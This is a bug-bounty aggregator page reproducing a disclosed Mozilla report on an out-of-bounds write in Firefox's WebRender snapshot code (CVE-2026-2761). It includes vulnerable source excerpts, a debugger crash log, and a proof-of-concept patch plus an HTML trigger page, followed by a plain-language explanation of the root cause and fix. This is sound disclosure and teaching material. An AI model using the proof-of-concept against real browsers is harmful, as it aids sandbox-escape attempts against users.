Skip to content
Memory corruption Disclosed report Advanced CVE-2026-2761

OOBR due to unvalidated format in webrender api (Sandbox escape)

The WebRenderBridgeParent::RecvGetSnapshot function assumes a bytes-per-pixel value of 4 when calculating the buffer size for a snapshot, but the format can be A8 (1 byte per pixel). An attacker can request a snapshot with an A8 texture, causing an out-of-bounds write in the compositor's memcpy, potentially leading to a sandbox escape.

Oskar Follow

Originally disclosed on Mozilla

  • Fixed in 17 days
  • Paid in 33 days
  • Disclosed after 17 days

Background

As part of the functionality exposed by the WebRenderBridge actor. The content process can request a snapshot onto shared memory with WebRenderBridgeParent::RecvGetSnapshot, this will fill the texture supplied.

Vulnerability

WebRenderBridgeParent::RecvGetSnapshot assumes a bpp of 4. and calculates the texture buffer size accordingly:

C++
mozilla::ipc::IPCResult WebRenderBridgeParent::RecvGetSnapshot(
    NotNull<PTextureParent*> aTexture, bool* aNeedsYFlip) {

....

  TimeStamp start = TimeStamp::Now();
  MOZ_ASSERT(bufferTexture->GetBufferDescriptor().type() ==
             BufferDescriptor::TRGBDescriptor);
  DebugOnly<uint32_t> stride = ImageDataSerializer::GetRGBStride(
      bufferTexture->GetBufferDescriptor().get_RGBDescriptor());
  uint8_t* buffer = bufferTexture->GetBuffer();
  IntSize size = bufferTexture->GetSize();

  MOZ_ASSERT(buffer);
  // For now the only formats we get here are RGBA and BGRA, and code below is
  // assuming a bpp of 4. If we allow other formats, the code needs adjusting
  // accordingly.
  MOZ_ASSERT(BytesPerPixel(bufferTexture->GetFormat()) == 4);
  uint32_t buffer_size = size.width * size.height * 4;

  // Assert the stride of the buffer is what webrender expects
  MOZ_ASSERT((uint32_t)(size.width * 4) == stride);

  FlushSceneBuilds();
  FlushFrameGeneration(wr::RenderReasons::SNAPSHOT);
  mApi->Readback(start, size, bufferTexture->GetFormat(),
                 Range<uint8_t>(buffer, buffer_size), aNeedsYFlip);

  return IPC_OK();
}

calling Readback on the webrender apis will finally call:

C++
RenderedFrameId RendererOGL::UpdateAndRender(
    const Maybe<gfx::IntSize>& aReadbackSize,
    const Maybe<wr::ImageFormat>& aReadbackFormat,
    const Maybe<Range<uint8_t>>& aReadbackBuffer, bool* aNeedsYFlip,
    const wr::FrameReadyParams& aFrameParams, RendererStats* aOutStats) {
    ...
    
    if (aReadbackBuffer.isSome()) {
      MOZ_ASSERT(aReadbackSize.isSome());
      MOZ_ASSERT(aReadbackFormat.isSome());
      if (!mCompositor->MaybeReadback(aReadbackSize.ref(),
                                      aReadbackFormat.ref(),
                                      aReadbackBuffer.ref(), aNeedsYFlip)) {
        wr_renderer_readback(mRenderer, aReadbackSize.ref().width,
                             aReadbackSize.ref().height, aReadbackFormat.ref(),
                             &aReadbackBuffer.ref()[0],
                             aReadbackBuffer.ref().length());
        if (aNeedsYFlip != nullptr) {
          *aNeedsYFlip = !mCompositor->SurfaceOriginIsTopLeft();
        }
      }
    }
    
    ...
}

The compositor on windows will call RenderCompositorANGLE::MaybeReadback which will copy to the readback buffer:

C++
bool RenderCompositorANGLE::MaybeReadback(
    const gfx::IntSize& aReadbackSize, const wr::ImageFormat& aReadbackFormat,
    const Range<uint8_t>& aReadbackBuffer, bool* aNeedsYFlip) {
    ...
    
   memcpy(&aReadbackBuffer[0], readbackBits, aReadbackBuffer.length());
  
  ...
  
}

This will cause an out of bounds write.

Asan report

Windbg context while crashing:

C++
Breakpoint 0 hit
xul!mozilla::layers::WebRenderBridgeParent::RecvGetSnapshot:
00007ffb`ae8b6440 4881ec38010000  sub     rsp,138h
0:005> g
ModLoad: 00007ffc`88d30000 00007ffc`88df0000   C:\WINDOWS\SYSTEM32\mscms.dll
ModLoad: 00007ffc`690b0000 00007ffc`690f9000   C:\WINDOWS\SYSTEM32\icm32.dll
(2ba4.4c4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
VCRUNTIME140!memcpy_repmovs_amd+0xb:
00007ffc`8a5b058b f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
0:078> r
rax=0000017784240000 rbx=0000002e472eee3c rcx=0000000000003000
rdx=0000017784350000 rsi=0000017784351000 rdi=0000017784241000
rip=00007ffc8a5b058b rsp=0000002e472ee498 rbp=0000002e472ef8b0
 r8=0000000000004000  r9=0000017784240000 r10=00007ffc8a5a0000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
VCRUNTIME140!memcpy_repmovs_amd+0xb:
00007ffc`8a5b058b f3a4            rep movs byte ptr [rdi],byte ptr [rsi]

Also attached an image of the stack trace.

Implications

Firefox latest out of bounds write.

Reproduction

  1. Apply the following patch:
C++
diff --git a/gfx/layers/wr/WebRenderUserData.cpp b/gfx/layers/wr/WebRenderUserData.cpp
index 2bca5feda116..4075e56dbaaf 100644
--- a/gfx/layers/wr/WebRenderUserData.cpp
+++ b/gfx/layers/wr/WebRenderUserData.cpp
@@ -6,6 +6,7 @@
 
 #include "WebRenderUserData.h"
 
+#include "mozilla/gfx/Types.h"
 #include "mozilla/image/WebRenderImageProvider.h"
 #include "mozilla/layers/AnimationHelper.h"
 #include "mozilla/layers/CompositorBridgeChild.h"
@@ -116,6 +117,30 @@ WebRenderImageData::~WebRenderImageData() {
 }
 
 void WebRenderImageData::ClearImageKey() {
+  auto mSize = LayoutDeviceIntSize(0x400, 4);
+  auto mFormat = gfx::SurfaceFormat::A8;
+
+  RefPtr<TextureClient> texture = TextureClient::CreateForRawBufferAccess(
+      WrBridge(), mFormat, mSize.ToUnknownSize(), gfx::BackendType::SKIA,
+      TextureFlags::SNAPSHOT);
+  if (!texture) {
+    return;
+  }
+
+  // The other side knows our ContentParentId and WebRenderBridgeChild will
+  // ignore the one provided here in favour of what WebRenderBridgeParent
+  // already has.
+  texture->InitIPDLActor(WrBridge(), dom::ContentParentId());
+  if (!texture->GetIPDLActor()) {
+    return;
+  }
+
+  bool needsYFlip = false;
+  if (!WrBridge()->SendGetSnapshot(WrapNotNull(texture->GetIPDLActor()),
+                                   &needsYFlip)) {
+    return;
+  }
+
   if (mKey) {
     mManager->AddImageKeyForDiscard(mKey.value());
     if (mTextureOfImage) {


  1. Host the following index.html:
HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OffscreenCanvas Rectangle</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }

        h1 {
            color: #333;
            margin-bottom: 20px;
        }

        canvas {
            border: 2px solid #333;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .status {
            margin-top: 20px;
            font-size: 1.1em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>OffscreenCanvas Example</h1>
    <canvas id="main-canvas" width="400" height="300"></canvas>
    <div class="status"></div>

    <script>
        // Get the canvas from the main HTML document.
        const canvas = document.getElementById('main-canvas');
        const statusDiv = document.querySelector('.status');

        // Check if OffscrevenCanvas is supported by the browser.
        if ('transferControlToOffscreen' in canvas) {
            statusDiv.textContent = 'Transferring canvas control to web worker...';

            // Transfer the canvas control to an OffscreenCanvas.
            const offscreen = canvas.transferControlToOffscreen();

            // Create a web worker from a Blob containing the worker's code.
            // This allows us to keep all the code in a single HTML file.
            const workerCode = `
                self.onmessage = function(event) {
                    // Receive the OffscreenCanvas object from the main thread.
                    const offscreenCanvas = event.data.canvas;
                    
                    // Get the 2D rendering context for the offscreen canvas.
                    const ctx = offscreenCanvas.getContext('2d');
                    
                    // All drawing operations happen here, completely off the main thread.
                    ctx.fillStyle = '#4CAF50'; // Green color
                    ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
                    
                    // Send a message back to the main thread to confirm completion.
                    self.postMessage('Drawing complete!');
                };
            `;
            const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
            const worker = new Worker(URL.createObjectURL(workerBlob));

            // Send the OffscreenCanvas to the worker.
            // The canvas is "transferred" to the worker's memory space,
            // which means it is no longer usable on the main thread.
            worker.postMessage({ canvas: offscreen }, [offscreen]);

            // Listen for a message from the worker to update the status.
            worker.onmessage = function(event) {
                statusDiv.textContent = 'Worker finished: ' + event.data;
            };

        } else {
            statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
        }
    </script>
</body>
</html>

Found via manual auditing.

The original report as published on Mozilla's Bugzilla, by Oskar. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the code hardcodes a bytes-per-pixel value of 4 instead of using the actual format's bytes per pixel when computing the buffer size for the readback.

Impact

An out-of-bounds write in the content process could potentially lead to a sandbox escape, though the report only demonstrates the crash.

What the attacker needed

Victim visits a malicious web page; Firefox with WebRender enabled

The fix

The code should calculate the buffer size using the actual bytes per pixel of the format, not a hardcoded value of 4.

How it was found

  1. Apply a patch that modifies WebRenderImageData::ClearImageKey to create a texture with format A8 and size 0x400 by 4, then call SendGetSnapshot.
  2. Host an HTML page that uses OffscreenCanvas and a web worker to trigger the snapshot request.
  3. Load the page in Firefox, causing the out-of-bounds write in memcpy.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web page asks Firefox to take a picture of its rendering (a snapshot), the code calculates how much memory is needed assuming each pixel takes 4 bytes. But if the image format uses only 1 byte per pixel, the calculation is wrong and the copy operation writes past the end of the buffer. This memory corruption could let an attacker break out of the browser's security sandbox.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Oskar

View all

19 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.